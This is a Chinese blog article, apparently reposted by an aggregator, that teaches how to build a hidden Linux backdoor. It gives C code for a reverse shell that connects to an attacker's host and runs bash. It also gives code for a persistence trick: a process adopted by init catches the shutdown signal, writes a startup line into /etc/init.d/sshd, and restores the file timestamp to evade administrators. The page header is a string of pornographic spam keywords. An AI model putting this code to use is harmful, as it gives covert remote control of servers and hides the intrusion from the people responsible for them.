日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux内核启动后门,Linux下编写隐蔽的自启动回连后门

發布時間:2025/3/15 linux 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux内核启动后门,Linux下编写隐蔽的自启动回连后门 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一直很想補充LKM方式未實現的ROOTKIT的后門功能,奈何內核模式下雖然權限很高,但編程難度也很大。在網絡安全技術中用戶級程序雖然權限不高,但是編程相對簡單,兼容性好。所以一般ROOTKIT也不是全部在內核中完成的,也要編寫用戶級的程序來輔助。本文將講述回連后門的編寫和在Linux下隱蔽地自啟動的方法。

回連后門的編寫很容易實現,在一個典型的Socket客戶端的基礎上,將標準輸入輸出重定向到Socket里,再execve一個bash shell,就可以在監聽的服務端得到一個相應權限的Shell了。一個簡單的回連后門代碼如下:

void creat_shell ( void )

{

char * shell[2];

int soc,remote;

int ret1,ret2,ret3;

struct sockaddr_in serv_addr;

memset ( &serv_addr,0,sizeof ( serv_addr ) );

serv_addr.sin_family=2;

serv_addr.sin_addr.s_addr=inet_addr ( MASTER_IP );

serv_addr.sin_port=htons ( PORT );

//典型的客戶端Socket編程

soc=socket ( AF_INET, SOCK_STREAM, 0 ) ;

if ( soc<0 )

{

printf ( "socket error %d!\n",soc );

return;

}

remote=connect ( soc, ( struct sockaddr* ) &serv_addr,0x10 );

if ( remote<0 )

{

printf ( "connect error \n" );

goto end;

}

//將標準輸入輸出等重定向到建立的Socket里去

ret1 =dup2 ( soc,0 );

ret2 =dup2 ( soc,1 );

ret3 =dup2 ( soc,2 );

if ( ret1 == -1 || ret2 == -1 ||ret3 == -1 )

{

goto end;

}

//向服務端報告好消息

send ( soc,message,strlen ( message ),0 );

//建立一個bash shell

shell[0]="/bin/bash";

shell[1]=0;

execve ( shell[0],shell,0 );

end:

close ( soc );

}

本文將重點講解Linux下如何隱蔽地實現自啟動,只有這部分才算原創。Linux下的程序開機自啟動靠的就是init機制。init進程是Linux系統的第一個用戶態進程,pid為1。它是由Linux內核直接啟動的,有三個重要功能。

第一個功能是讀取/etc/inittab配置文件來對系統進行用戶態的初始化。最重要的是讀取默認運行級別,然后執行/etc/rc.d/rc*.d文件夾里的全部Shell文件(這里的*就是一個數字,對應運行級別)。Shell文件完成如開啟HTTP、SSH、X11等服務的功能,提供一個可以讓用戶登錄的環境。

第二個功能就是接管沒父進程的子進程。如果一個父進程沒有waitpid()為子進程收尸,先于子進程結束,那么子進程的父進程就修改為init,init就是一個守護進程。

第三個功能就是通過pipe(管道)接收發來的切換run level的請求并處理。例如可以使用init 6命令來重啟系統。也就是init進程執行/etc/rc.d/rc6.d里的Shell關閉各種服務,向所有的進程發送SIGTERM信號,讓進程正常退出。延時5秒后向所有的進程發送SIGKILL信號強制關閉進程,然后重新啟動。

知道了以上細節,我們不難想到典型的自啟動方式,就是查看/etc/inittab默認的運行級別,然后在相應的/etc/rc.d/rc*.d文件夾里加入一個Shell腳本就可以了。/etc/rc.d/rc*.d文件夾里幾乎都是符號鏈接,這是因為很多Shell腳本在不同的運行級別下都會用到,只要挑選一個最常用的服務就可以了。我選擇了/etc/init.d/sshd,在其頭部“#!/bin/bash”后插入了一行后門啟動命令“/home/webshell/backdoor”。

當然,這種方式很容易被發現,我們還要讓管理員在/etc/rc.d/rc*.d里看不到。解決方法就是在服務器運行時,不向/etc/rc.d/rc*.d里寫入啟動信息,而是捕獲關機或重啟信號,在那時將后門啟動命令寫入Shell腳本。機器重啟后就會執行我們的后門,后門做的第一件事就是把自己的啟動項刪掉。當然,做這些操作都要修改文件的最后修改時間,做到不留痕跡,這樣管理員就無法在/etc/rc.d/rc*.d里找到后門啟動項。除非突然斷電,我們的后門就可以一直自啟動。

以上解決方法的關鍵就是如何捕獲Linux系統重啟信號。將前面所述init的第2和第3功能綜合起來就有了如下辦法:制造一個沒有父進程的子進程,讓它被init接管并一直存活,等待init給它發送SIGTERM信號,這個信號也就是系統重啟的信號。對SIGTERM信號的處理就是寫入后門啟動項。創建一個這樣的子進程的代碼如下:

int main ( int argc, char *argv[] )

{

pid_t pid;

if ( ( pid = fork() ) <0 )

exit ( 1 );

if ( pid== 0 )

{

//申明對SIGTERM信號的處理,由 func()來執行

signal ( SIGTERM,func );

//消耗資源小的死循環讓子進程一直存活

while(1)

{

sleep(3600);?? //一小時

}

}

//父進程盡快死掉

exit(0);

void func ( int sig )

{

if ( sig==SIGTERM )

{

//插入后門啟動項

insert_command ( INSERT_FILE,HIDE_PROCESS );

exit ( 0 );

}

signal ( SIGTERM,func );

}

int insert_command ( char *filename,char *command )

{

//首先獲得原始修改時間

struct utimbuf ori_time;

if ( get_modtime ( filename,&ori_time ) !=1 )

{exit ( 0 );}

//sed命令,實現在有#!這樣字符串的行后插入后門啟動項

char cmd[100];

sprintf ( cmd,"sed \'\/\^#!\/ a %s\' %s >deep_pro_2009",command,filename );

system ( cmd );

sprintf ( cmd,"cp -f? deep_pro_2009?? %s ",filename );

system ( cmd );

sprintf ( cmd,"rm? -f deep_pro_2009" );

system ( cmd );

//恢復修改時間

if ( utime ( filename,&ori_time ) ==-1 )

{

return 0;

};

return 1;

}

刪除啟動項的代碼類似插入代碼,不再贅述。因為在我網絡安全中技術使用C語言實現在文件中插入刪除行的代碼量實在太大,這里使用了sed簡化代碼,一般Linux系統都會有這個工具。Unix無名師曾說:“Unix傳統上認為,一行Shell腳本勝過萬行C程序。”本后門的缺點就是不能隱藏進程和后門文件自身,但可以使用第1期的那個只有隱藏功能的ROOTKIT半成品來彌補。

我們用另外一臺Windows機器做服務端來測試,NC成功監聽得到了Shell,在/etc/init.d/sshd里也找不到后門啟動項,重啟之后仍然能夠得到Shell.

總結

以上是生活随笔為你收集整理的linux内核启动后门,Linux下编写隐蔽的自启动回连后门的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。